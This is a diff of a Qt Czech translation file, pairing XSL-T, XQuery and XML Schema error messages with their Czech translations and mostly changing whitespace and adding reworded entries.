         In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
         V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání odkaz tvořený písmeny nebo proměnný.
     
     
-        
-        
         At least one component must be present.
         Alespoň jedna součást musí být přítomna.
     
@@ -8028,67 +8442,54 @@ Zvolte, prosím, pro soubor jiný název.
         Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.
     
     
-        
         An attribute by name %1 has already been created.
         Již byla vytvořena jedna vlastnost s názvem %1.
     
     
-        
         An argument by name %1 has already been declared. Every argument name must be unique.
-        Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
+        Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
     
     
-        
         %1 is an invalid flag for regular expressions. Valid flags are:
         %1 není pro regulérní výrazy platným příznakem. Platnými příznaky jsou:
     
     
-        
         At least one %1-element must occur inside %2.
         V %2 se musí vyskytovat alespoň jeden %1-prvek.
     
     
-        
         Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
         Je podporován pouze Unicode Codepoint Collation (%1). %2 není podporován.
     
     
-        
         Matches are case insensitive
         Na psaní velkých/malých písmen není brán zřetel
     
     
-        
         The name of an extension expression must be in a namespace.
         Název výrazu rozšíření se musí nacházet ve jmenném prostoru.
     
     
-        
         Each name of a template parameter must be unique; %1 is duplicated.
         Názvy parametrů předloh musí být jednoznačné, %1 již existuje.
     
     
-        
         At least one mode must be specified in the %1-attribute on element %2.
         Ve %1-vlastnosti prvku %2 musí být zadán alespoň jeden způsob.
     
     
-        
         %1 matches newline characters
         Výraz '%1' odpovídá znakům pro nový řádek
     
     
-        
         Year %1 is invalid because it begins with %2.
         %1 není platným údajem pro rok, protože začíná %2.
     
     
-        
         The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
         Druhý argument %1 nemůže být typ %2. Musí to být typ %3, %4 nebo %5.
     
     
-        
         Element %1 cannot have children.
         Prvek %1 nemůže mít podprvky.
     
@@ -8097,42 +8498,34 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek %2 může mít jen vlastnost %3 nebo vlastnosti, které jsou obvyklé, ne však %1.
     
     
-        
         Only one %1-element can appear.
         Může být jen jeden jediný %1-prvek.
     
     
-        
         The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
         Název počítané vlastnosti nesmí mít jmenný prostor-URI %1 s místním názvem %2.
     
     
-        
         A positional predicate must evaluate to a single numeric value.
         Poziční přísudek se musí vyhodnotit jako jednoduchá, číselná hodnota.
     
     
-        
         Element %1 can't be serialized because it appears outside the document element.
         Prvek %1 nemůže být vydáván na pokračování, protože se objevuje mimo prvky dokumentu.
     
     
-        
         %1 and %2 match the start and end of a line.
         Výrazy %1 a %2 vždy odpovídají začátku nebo konci libovolného řádku.
     
     
-        
         Running an XSL-T 1.0 stylesheet with a 2.0 processor.
         Je zpracováván jeden XSL-T 1.0 stylový list jedním procesorem verze 2.0.
     
     
-        
         A stylesheet function must have a prefixed name.
         Název funkce stylového listu musí mít předponu.
     
     
-        
         %1 cannot be retrieved
         %1 nelze určit
     
@@ -8141,42 +8534,34 @@ Zvolte, prosím, pro soubor jiný název.
         Nelze provést operaci předvedení hodnoty %1 typu %2 k %3
     
     
-        
         The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
         Hodnota XSL-T vlastnosti verze musí být hodnotou typu %1, což není případ %2.
     
     
-        
         In a namespace constructor, the value for a namespace cannot be an empty string.
         Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.
     
     
-        
         The prefix %1 cannot be bound.
         Předponu %1 nelze spojit.
     
     
-        
         The prefix must be a valid %1, which %2 is not.
         Předpona musí být platný %1, což není případ %2.
     
     
-        
         The keyword %1 cannot occur with any other mode name.
         Klíčové slovo %1 se nemůže používat dohromady s jiným názvem způsobu.
     
     
-        
         Type error in cast, expected %1, received %2.
         Chyba psaní u operace předvedení, bylo očekáváno %1, ale přijato %2.
     
     
-        
         %1 is not a valid numeric literal.
         %1 není platný číselný údaj tvořený písmeny.
     
     
-        
         %1 takes at most %n argument(s). %2 is therefore invalid.
         
             %1 má jen %n argument; údaj %2 z tohoto důvodu neplatný.
@@ -8189,36 +8574,30 @@ Zvolte, prosím, pro soubor jiný název.
         byla zjištěna cirkulární závislost
     
     
-        
         A variable by name %1 has already been declared.
-        Proměnná s názvem %1 již byla prohlášena.
+        Proměnná s názvem %1 již byla prohlášena.
     
     
-        
         The prefix %1 can not be bound. By default, it is already bound to the namespace %2.
-        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
+        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
     
     
         An %1-attribute must have a valid %2 as value, which %3 isn't.
         Vlastnost s názvem %1 musí mít platnou %2-hodnotu. %3 není platnou hodnotou.
     
     
-        
         If element %1 has no attribute %2, it cannot have attribute %3 or %4.
         Prvek %1 nesmí mít vlastnost %3 nebo %4, pokud nemá vlastnost %2.
     
     
-        
         A function already exists with the signature %1.
         Již existuje funkce s podpisem %1.
     
     
-        
         When casting to %1 from %2, the source value cannot be %3.
         U operace předvedení z %1 do %2 nesmí být zdrojová hodnota %3.
     
     
-        
         Attribute %1 can't be serialized because it appears at the top level.
         Vlastnost %1 nemůže být vydáván na pokračování, protože se objevuje na nejvyšší rovině.
     
@@ -8227,42 +8606,34 @@ Zvolte, prosím, pro soubor jiný název.
         S typem %1 nemohou být prováděny žádné srovnávací operace.
     
     
-        
         No value is available for the external variable by name %1.
-        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
+        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
     
     
-        
         The value of attribute %1 must of type %2, which %3 isn't.
-        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
+        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
     
     
-        
         The item %1 did not match the required type %2.
         Prvek %1 neodpovídá požadovanému typu %2.
     
     
-        
         Element %1 cannot have a sequence constructor.
         Prvek %1 nemůže mít stavitele posloupnosti.
     
     
-        
         When attribute %1 is present on %2, a sequence constructor cannot be used.
         Nelze používat žádného stavitele posloupnosti, když %2 má vlastnost %1.
     
     
-        
         one or more
         jeden nebo více
     
     
-        
         The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
         Kódování %1 je neplatné; smí sestávat pouze z latinských písmen a musí odpovídat pravidelnéu výrazu %2.
     
     
-        
         %1 requires at least %n argument(s). %2 is therefore invalid.
         
             %1 vyžaduje alespoň %n argument; údaj %2 je z toho důvodu neplatný.
@@ -8271,38 +8642,30 @@ Zvolte, prosím, pro soubor jiný název.
         
     
     
-        
         The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.
-        %2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).
+        %2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).
     
     
-        
         The focus is undefined.
         Není stanoveno ohnisko.
     
     
-        
-        
         %1 is an unknown schema type.
         %1 je neznámým typem schematu.
     
     
-        
         The value for attribute %1 on element %2 must either be %3 or %4, not %5.
         Hodnota vlastnosti %1 prvku %2 může být jen %3 nebo %4, ne však %5.
     
     
-        
         In the replacement string, %1 must be followed by at least one digit when not escaped.
         V nahrazovacím řetězci musí po %1 následovat alespoň jedna číslice, když není chráněn znakem Escape.
     
     
-        
         In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
         V XSL-T vyhledávacím vzoru se smějí používat jen osy %2 nebo %3, ne však %1.
     
     
-        
         The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
         Jmenný prostor uživatelem stanovené funkce nesmí být prázdný (pro tento účel je předstanovená předpona %1)
     
@@ -8311,67 +8674,66 @@ Zvolte, prosím, pro soubor jiný název.
         První veličina, operand, celočíselného dělení %1 nesmí být nekonečno (%2).
     
     
-        
         %1 is not a valid value of type %2.
         %1 není platnou hodnotou typu %2.
     
     
-        
         Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
         Násobení hodnoty typu %1 s %2 nebo %3 (kladné nebo záporné nekonečno) není přípustné.
     
     
-        
         The variable %1 is unused
         Proměnná %1 se nepoužívá
     
     
-        
         The %1-axis is unsupported in XQuery
         Osa %1 není v XQuery podporována
     
     
-        
+        No function with name %1 is available.
+        Neexistuje žádná funkce s názvem %1.
+    
+    
+        An attribute with name %1 has already appeared on this element.
+        Prvek má již vlastnost s názvem %1.
+    
+    
         A direct element constructor is not well-formed. %1 is ended with %2.
         Byl nalezen chybný stavitel přímého prvku. %1 končí %2.
     
     
-        
         Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
         Dělení hodnoty typu %1 prostřednictvím %2 nebo %3 (kladná nebo záporná nula) není přípustné.
     
     
-        
         Attribute %1 cannot have the value %2.
         Vlastnost %1 nesmí mít hodnotu %2.
     
     
-        
         It will not be possible to retrieve %1.
         %1 nelze určit.
     
     
-        
         In an XSL-T pattern, function %1 cannot have a third argument.
         V XSL-T vyhledávacím vzoru nesmí mít funkce %1 třetí argument.
     
     
-        
         The namespace URI in the name for a computed attribute cannot be %1.
         URI jmenného prostoru v názvu vypočítané vlastnosti nesmí být %1.
     
     
-        
+        The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
+        Cílový název příkazu pro zpracování nemůže být %1 (nezávisle na psaní velkých/malých písmen). %2 je z toho důvodu neplatný.
+    
+    
         %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
         %1 není platným cílovým názvem pokynu pro zpracování. Musí to být hodnota %2 jakou je například %3.
     
     
-        
         %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
         %1 je složeným typem. Operace předvedení u složených typů není možná. Mohou se ovšem provádět operace obsazení u atomárních typů jako %2.
     
     
-        
         zero or one
         žádný nebo jeden
     
@@ -8384,33 +8746,26 @@ Zvolte, prosím, pro soubor jiný název.
         V XSL-T neexistuje žádný prvek s místním názvem %1.
     
     
-        
         Two namespace declaration attributes have the same name: %1.
         Byly nalezeny dvě vlastnosti prohlášení jmenného prostoru se stejným názvem (%1).
     
     
-        
         Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
         Skutečná Booleanská hodnota nemůže být vypočítána pro posloupnost ze dvou nebo více atomárních hodnot.
     
     
-        
-        
         %1 is an invalid %2
         %1 je neplatný %2
     
     
-        
         The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
         První argument k %1 nesmí být typu %2; musí to být číselný typ, xs:yearMonthDuration nebo xs:dayTimeDuration.
     
     
-        
         Division (%1) by zero (%2) is undefined.
         Dělení (%1) nulou (%2) není stanoveno.
     
     
-        
         No template by name %1 exists.
         Neexistuje žádná předloha s názvem %1.
     
@@ -8419,27 +8774,22 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek %2 musí mít vlastnost %1.
     
     
-        
         An attribute by name %1 has already appeared on this element.
-        Prvek má již vlastnost s názvem %1.
+        Prvek má již vlastnost s názvem %1.
     
     
-        
         The default collection is undefined
         Pro sbírku není stanovena žádná předloha
     
     
-        
         Only the prefix %1 can be bound to %2 and vice versa.
         S %2 může být spojena pouze předpona %1 (a obráceně).
     
     
-        
         Value %1 of type %2 exceeds maximum (%3).
         Hodnota %1 typu %2 překračuje maximum (%3).
     
     
-        
         Whitespace characters are removed, except when they appear in character classes
         Prázdné znaky jsou odstraněny v případě, že se neobjeví ve znakových třídách
     
@@ -8448,113 +8798,90 @@ Zvolte, prosím, pro soubor jiný název.
         Nemohou se provádět žádné operace předvedení k typu %1, protože je to abstraktní typ ist a nelze je doložit příkladem.
     
     
-        
         Operator %1 cannot be used on type %2.
         Operátor %1 nelze použít na typ %2.
     
     
-        
         The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
         Jmenný prostor %1 je vyhrazen a z toho důvodu jej nemohou používat uživatelem stanovené funkce (pro tento účel je tu předstanovená předpona %2).
     
     
-        
         The target namespace of a %1 cannot be empty.
         Cílový jmenný prostor %1 nesmí být prázdný.
     
     
-        
         %1 must be followed by %2 or %3, not at the end of the replacement string.
         Po %1 musí následovat %2 nebo %3; nesmí se objevit na konci nahrazovacího řetězce.
     
     
-        
         %1 is an invalid namespace URI.
         %1 není platným jmenným prostorem-URI.
     
     
-        
-        
         The attribute %1 cannot appear on %2, when it is a child of %3.
         %2 nesmí mít vlastnost %1 v případě, že je potomkem %3.
     
     
-        
         The attribute %1 can only appear on the first %2 element.
         Pouze první %2-prvek smí mít vlastnost %1.
     
     
-        
         Element %1 must have either a %2-attribute or a sequence constructor.
         Prvek %1 musí mít buď jednu %2-vlastnost nebo se musí používat stavitel posloupnosti.
     
     
-        
         Module imports must occur before function, variable, and option declarations.
         Zavedení modulů musí nastat před prohlášeními funkcí, proměnných a voleb.
     
     
-        
         Day %1 is outside the range %2..%3.
         Údaj dne %1 je mimo rozsah %2..%3.
     
     
-        
         %1 contains octets which are disallowed in the requested encoding %2.
         %1 obsahuje oktety, které v kódování %2 nejsou přípustné.
     
     
-        
         When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
         Výchozí hodnota požadovaného parametru nemůže být zadána ani prostřednictvím %1-vlastnosti ani přes stavitele posloupnosti.
     
     
-        
         In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
         V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání řetězec tvořený písmeny.
     
     
-        
         Text nodes are not allowed at this location.
         Na tomto místě nesmí stát žádné textové uzly.
     
     
-        
         A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
         Hodnoty typu %1 nesmí ýt přísudkem. Pro přísudky jsou přípustné pouze typ číselný nebo účinný booleánský.
     
     
-        
         %1 is not a valid name for a processing-instruction.
         %1 není platným názvem pokynu pro zpracování.
     
     
-        
         %1 was called.
         %1 byl volán.
     
     
-        
         It's not possible to add attributes after any other kind of node.
         Vlastnosti nesmí následovat za jinými druhy uzlů.
     
     
-        
         At least one %1-element must occur before %2.
         Před %2 musí stát alespoň jeden %1-prvek.
     
     
-        
         The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
         Tato forma normalizování %1 není podporována. Podporovanými formami normalizování jsou %2, %3, %4 a %5, a "žádný" (prázdný znakový řetězec zastupuje "žádné normalizování").
     
     
-        
         When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
         U operace představení k typu %1 nebo odvozených typů musí být zdrojovou hodnotou řetězec znaků tvořený písmeny nebo hodnota stejného typu. Typ %2 je neplatný.
     
     
-        
         A parameter in a function cannot be declared to be a tunnel.
         Parameter funkce nelze prohlásit za tunel.
     
@@ -8563,62 +8890,50 @@ Zvolte, prosím, pro soubor jiný název.
         XSL-T vlastnosti XSL-T prvku musí být v nulovém jmenném prostoru, nikoli v XSL-T jmenném prostoru, jako %1.
     
     
-        
         The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
         Jmenný prostor uživatelem stanovené funkce v modulu knihovny musí odpovídat jmennému prostoru modulu (Jinými slovy by měl být %1 namísto %2) 
     
     
-        
         Day %1 is invalid for month %2.
         Ǔdaj o dni %1 je neplatným pro měsíc %2.
     
     
-        
         Overflow: Can't represent date %1.
         Nelze představit datum %1 (Přetečení).
     
     
-        
         In a simplified stylesheet module, attribute %1 must be present.
         Ve zjednodušeném modulu stylového listu musí být přítomna vlastnost %1.
     
     
-        
         Unknown XSL-T attribute %1.
         Neznámá XSL-T vlastnost: %1.
     
     
-        
         It is not possible to redeclare prefix %1.
         Předponu %1 nelze prohlásit.
     
     
-        
         exactly one
         přesně jeden
     
     
-        
         %1 is an invalid regular expression pattern: %2
         %1 není platným pravidelným výrazem: %2
     
     
-        
         Element %1 is not allowed at this location.
         Prvek %1 nesmí stát na tomto místě.
     
     
-        
         The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
         %1-výrazy se nemohou používat, protože funkce prohlášení schématu platným není podporována.
     
     
-        
         At least one %1 element must appear as child of %2.
         Alespoň jeden %1-prvek musí být potomkem %2.
     
     
-        
         This processor is not Schema-aware and therefore %1 cannot be used.
         %1 se nemůže používat, protože tento procesor nepodporuje žádné schéma.
     
@@ -8627,13 +8942,10 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek %2 může mít jen %3 nebo obvyklé vlastnosti, ne však %1.
     
     
-        
-        
         Dividing a value of type %1 by %2 (not-a-number) is not allowed.
         Dělení hodnoty typu %1 prostřednictvím %2 (není číselnou hodnotou) není přípustné.
     
     
-        
         Required cardinality is %1; got cardinality %2.
         Požadované kardinální číslo (mohutnost množiny) je %1 (v současnosti %2).
     
@@ -8642,17 +8954,14 @@ Zvolte, prosím, pro soubor jiný název.
         Tento výtvor je přípustný pouze v XQuery.
     
     
-        
         No function by name %1 is available.
-        Neexistuje žádná funkce s názvem %1.
+        Neexistuje žádná funkce s názvem %1.
     
     
-        
         The URI cannot have a fragment
         URI nesmí obsahovat kousek
     
     
-        
         %1 is not an atomic type. Casting is only possible to atomic types.
         %1 není atomárním typem. Operace představení se dají provádět pouze s atomárními typy.
     
@@ -8661,98 +8970,78 @@ Zvolte, prosím, pro soubor jiný název.
         První argument %1 nemůže být typu %2.
     
     
-        
         The namespace URI must be a constant and cannot use enclosed expressions.
         Jmenný prostor-URI musí být konstantou a nesmí používat vložené výrazy.
     
     
-        
         Prefix %1 is already declared in the prolog.
         Předpona %1 byla prohlášena již v předmluvě (prologu).
     
     
-        
         Ambiguous rule match.
         Víceznačné pravidlo.
     
     
-        
         Promoting %1 to %2 may cause loss of precision.
         Postoupení od %1 k %2 může vést ke ztrátě přesnosti.
     
     
-        
         In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
         V XSL-T vyhledávacím vzoru se smějí pro srovnávání používat jen funkce %1 a %2, ne však %3.
     
     
-        
-        
         A default namespace declaration must occur before function, variable, and option declarations.
         Prohlášení výchozích jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.
     
     
-        
         Operator %1 cannot be used on atomic values of type %2 and %3.
         Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.
     
     
-        
         The module import feature is not supported
         Funkce zavedení modulu není podporována
     
     
-        
         The parameter %1 is passed, but no corresponding %2 exists.
         Neexistuje žádný odpovídající %2 pro předaný parameter %1.
     
     
-        
         A value of type %1 cannot have an Effective Boolean Value.
         Hodnota typu %1 nemůže mít žádnou účinnou booleánskou hodnotu.
     
     
-        
         The data of a processing instruction cannot contain the string %1
         Data pokynu pro zpracování nesmí obsahovat řetězec znaků %1
     
     
-        
         Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
         Časový údaj 24:%1:%2.%3 je neplatný. U hodinového údaje je 24, ale minuty, sekundy a milisekundy musí být všechny 0; 
     
     
-        
         A template by name %1 has already been declared.
-        Předloha s názvem %1 už byla prohlášena.
+        Předloha s názvem %1 už byla prohlášena.
     
     
-        
         It is not possible to bind to the prefix %1
         Předponu %1 nelze spojit
     
     
-        
         Value %1 of type %2 is below minimum (%3).
         Hodnota %1 typu %2 zůstává pod minimem (%3).
     
     
-        
         Required type is %1, but %2 was found.
         Požadovaný typ je %1, byl ale zadán %2.
     
     
-        
         %1 is an unsupported encoding.
         Kódování %1 není podporováno.
     
     
-        
         The name of an option must have a prefix. There is no default namespace for options.
         Název volby musí mít předponu. Pro volby není žádná předloha pro jmenný prostor.
     
     
-        
         Element %1 must come last.
         Prvek %1 musí stát jako poslední.
     
@@ -8761,57 +9050,50 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek %2 může mít jen vlastnost %3, %4 nebo vlastnosti, které jsou obvyklé, ne však %1.
     
     
-        
         No namespace binding exists for the prefix %1 in %2
         Neexistuje žádné svázání jmenného prostoru pro předponu %1 v %2
     
     
-        
         The name %1 does not refer to any schema type.
         Název %1 nemá žádnou spojitost s jakýmkoli typem schématu.
     
     
-        
         Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
         Předponu %1 lze spojit pouze s %2. Toto je prohlášeno již dopředu..
     
     
-        
         W3C XML Schema identity constraint selector
         Přepínač omezení totožnosti W3C XML schéma
     
     
-        
         W3C XML Schema identity constraint field
         Pole omezení totožnosti W3C XML schéma
     
     
-        
         A construct was encountered which is disallowed in the current language(%1).
         Narazilo se na výtvor, který v nynějším jazyce není povolen (%1).
     
     
-        
+        A template with name %1 has already been declared.
+        Předloha s názvem %1 již existuje.
+    
+    
         The initialization of variable %1 depends on itself
         Inicializace proměnné %1 je závislá na její vlastní hodnotě
     
     
-        
         An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
         Uzel vlastnosti se nesmí objevit jako potomek uzlu dokumentu. Objevil se uzel vlastnosti s názvem %1, který je proto nevhodný.
     
     
-        
         Month %1 is outside the range %2..%3.
         Údaj o měsíci %1 je mimo rozsah %2..%3.
     
     
-        
         The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
         Název proměnné úzce spojené s pro-výrazem se musí lišit od poziční proměnné. Dvě proměnné s názvem %1 se z tohoto důvodu střetávají.
     
     
-        
         No namespace binding exists for the prefix %1
         Neexistuje žádné svázání jmenného prostoru pro předponu %1
     
@@ -8820,38 +9102,54 @@ Zvolte, prosím, pro soubor jiný název.
         Prvek má již jednu vlastnost s názvem %1 s hodnotou %2.
     
     
-        
         %1 is not valid as a value of type %2.
         %1 není platný jako hodnota typu %2.
     
     
-        
         zero or more
         žádný nebo více
     
     
-        
-        
         %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
         %1 se nenachází v oblasti pod prohlášením vlastností. Všimněte si, že funkce zavedení schématu není podporována.
     
     
-        
         When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
         Při použití funkce %1 k vyhodnocování uvnitř vyhledávacího vzoru musí být argumentem odkaz na proměnnou nebo řetězec tvořený písmeny.
     
     
-        
+        No variable with name %1 exists
+        Neexistuje žádná proměnná s názvem %1
+    
+    
+        The value of attribute %1 must be of type %2, which %3 isn't.
+        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
+    
+    
+        The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
+        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
+    
+    
+        A variable with name %1 has already been declared.
+        Proměnná s názvem %1 již byla prohlášena.
+    
+    
+        No value is available for the external variable with name %1.
+        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
+    
+    
+        An argument with name %1 has already been declared. Every argument name must be unique.
+        Již byl prohlášen jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
+    
+    
         %1 is an invalid template mode name.
         %1 není platným názvem pro řežim předlohy.
     
     
-        
         At least one time component must appear after the %1-delimiter.
         Po %1-oddělovači se musí objevit alespoň jedna složka času.
     
     
-        
         Overflow: Date can't be represented.
         Nelze představit datum (Přetečení).
     
@@ -8860,22 +9158,18 @@ Zvolte, prosím, pro soubor jiný název.
         Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.
     
     
-        
         A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
         Rozdíl v časové zóně musí ležet v oblasti %1..%2 (včetně). %3 leží mimo oblast.
     
     
-        
         %1 is not a valid XML 1.0 character.
         %1 není platný znak XML 1.0.
     
     
-        
         The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
         První argument %1 nemůže být typu %2. Musí to být typ %3, %4 nebo %5.
     
     
-        
         %1 is not a whole number of minutes.
         %1 není celočíselným údajem o minutách.
     
@@ -8888,12 +9182,10 @@ Zvolte, prosím, pro soubor jiný název.
         Nelze provádět žádnou operaci předvedení od %1 do %2.
     
     
-        
         No variable by name %1 exists
-        Neexistuje žádná proměnná s názvem %1
+        Neexistuje žádná proměnná s názvem %1
     
     
-        
         Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
         Jmenný prostor %1 lze spojit pouze s %2. Toto je stanoveno již dopředu.
     
@@ -8902,1448 +9194,1110 @@ Zvolte, prosím, pro soubor jiný název.
         Druhá veličina, operand, dělení %1 nesmí být nula (%2).
     
     
-        
         Only one %1 declaration can occur in the query prolog.
         Předmluva k dotazu (prolog) smí obsahovat pouze jedno %1-prohlášení.
     
     
-        
         Element %1 must have at least one of the attributes %2 or %3.
         Prvek %1 musí mít alespoň jednu z vlastností %2 nebo %3.
     
     
-        
         If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
         Když jsou zadány obě hodnoty s časovými zónami, musí mít ten samý rozdíl v časové zóně. %1 a %2 nejsou to samé a jsou tím pádem nepřípustné.
     
     
-        
         No external functions are supported. All supported functions can be used directly, without first declaring them as external
         Nejsou podporovány vnější funkce. Všechny podporované funkce se dají používat přímo, bez toho, že by byly nejprve prohlášeny za vnější
     
     
-        
         The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
         Poslední krok cesty musí obsahovat buď jen uzly nebo jen atomární hodnoty. Nesmí se vyskytovat společně.
     
     
-        
         Empty particle cannot be derived from non-empty particle.
         Prázdnou částici nelze odvodit z částice, která není prázdná.
     
     
-        
         Derived particle is missing element %1.
         V odvozené částici chybí prvek %1.
     
     
-        
         Derived element %1 is missing value constraint as defined in base particle.
         V odvozeném prvku %1 chybí omezení hodnoty, jak je to stanoveno v základní částici.
     
     
-        
         Derived element %1 has weaker value constraint than base particle.
         Odvozený prvek %1 má slabší omezení hodnoty než má základní částice.
     
     
-        
         Fixed value constraint of element %1 differs from value constraint in base particle.
         Pevné omezení hodnoty prvku %1 se liší od omezení hodnoty základní částici.
     
     
-        
         Derived element %1 cannot be nillable as base element is not nillable.
         Odvozený prvek %1 nemůže mít žádnou vlastnost 'nillable', neboť základní prvek žádnou nestanovuje.
     
     
-        
         Block constraints of derived element %1 must not be more weaker than in the base element.
         Omezení bloku odvozeného prvku %1 nesmí být slabší než v základním prvku.
     
     
-        
         Simple type of derived element %1 cannot be validly derived from base element.
         Jednoduchý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.
     
     
-        
         Complex type of derived element %1 cannot be validly derived from base element.
         Složitý typ odvozeného prvku %1 nemůže být platně odvozen ze základního prvku.
     
     
-        
         Element %1 is missing in derived particle.
         Prvek %1 chybí v odvozené částici.
     
     
-        
         Element %1 does not match namespace constraint of wildcard in base particle.
         Prvek %1 neodpovídá omezení jmenného prostoru zástupného symbolu (vzor hledání) v základní částici.
     
     
-        
         Wildcard in derived particle is not a valid subset of wildcard in base particle.
         Zástupný symbol (vzor hledání) v odvozené částici není platnou dílčí množinou zástupného symbolu v základní částici.
     
     
-        
         processContent of wildcard in derived particle is weaker than wildcard in base particle.
         Vlastnost processContent zástupného symbolu (vzor hledání) odvozené částice je slabší než zástupný symbol (vzor hledání) v základní částici.
     
     
-        
         Derived particle allows content that is not allowed in the base particle.
         Odvozená částice dovoluje obsah, který není přípustný pro základní částici.
     
     
-        
         %1 has inheritance loop in its base type %2.
         %1 má ve svém základním typu  %2 v kruzích prováděnou dědičnost.
     
     
-        
-        
         Circular inheritance of base type %1.
         V kruzích prováděná dědičnost v základním typu %1.
     
     
-        
         Circular inheritance of union %1.
         V kruzích prováděná dědičnost při sjednocení %1.
     
     
-        
         %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
         %1 není dovoleno odvodit z %2 pomocí omezení, neboť posledně uvedený ji určuje jako konečnou.
     
     
-        
         %1 is not allowed to derive from %2 by extension as the latter defines it as final.
         %1 není dovoleno odvodit z %2 pomocí rozšíření, neboť posledně uvedený ji určuje jako konečnou.
     
     
-        
         Base type of simple type %1 cannot be complex type %2.
         Složitý typ %2 nemůže být základním typem jednoduchého typu %1.
     
     
-        
         Simple type %1 cannot have direct base type %2.
         Jednoduchý typ %1 nemůže mít přímý základní typ %2.
     
     
-        
-        
         Simple type %1 is not allowed to have base type %2.
         Jednoduchý typ %1 nesmí mít základní typ %2.
     
     
-        
         Simple type %1 can only have simple atomic type as base type.
         Jednoduchý typ %1 může mít jen jednoduchý malinký základní typ.
     
     
-        
         Simple type %1 cannot derive from %2 as the latter defines restriction as final.
         Jednoduchý typ %1 nesmí být odvozen z %2 , neboť poslední určuje omezení jako konečné.
     
     
-        
-        
         Variety of item type of %1 must be either atomic or union.
         Rozmanitost složkových typů %1 musí být buď malinká nebo sjednocení.
     
     
-        
-        
         Variety of member types of %1 must be atomic.
         Rozmanitost členských typů %1 musí být malinká.
     
     
-        
-        
         %1 is not allowed to derive from %2 by list as the latter defines it as final.
         %1 není dovoleno odvodit z %2 pomocí seznamu, neboť posledně uvedený ji určuje jako konečnou.
     
     
-        
         Simple type %1 is only allowed to have %2 facet.
         Jednoduchý typ %1 může mít jen stránky %2.
     
     
-        
         Base type of simple type %1 must have variety of type list.
         Základní typ jednoduchého typu %1 musí mít rozmanitost seznamu typů.
     
     
-        
         Base type of simple type %1 has defined derivation by restriction as final.
         Základní typ jednoduchého typu %1 určuje sjednocení pomocí omezení jako konečné.
     
     
-        
         Item type of base type does not match item type of %1.
         Složkový typ základního typu neodpovídá složkovému typu %1.
     
     
-        
-        
         Simple type %1 contains not allowed facet type %2.
         Jednoduchý typ %1 obsahuje nedovolený typ stránky %2.
     
     
-        
-        
         %1 is not allowed to derive from %2 by union as the latter defines it as final.
         %1 není dovoleno odvodit z %2 pomocí sjednocení, neboť posledně uvedený ji určuje jako konečnou.
     
     
-        
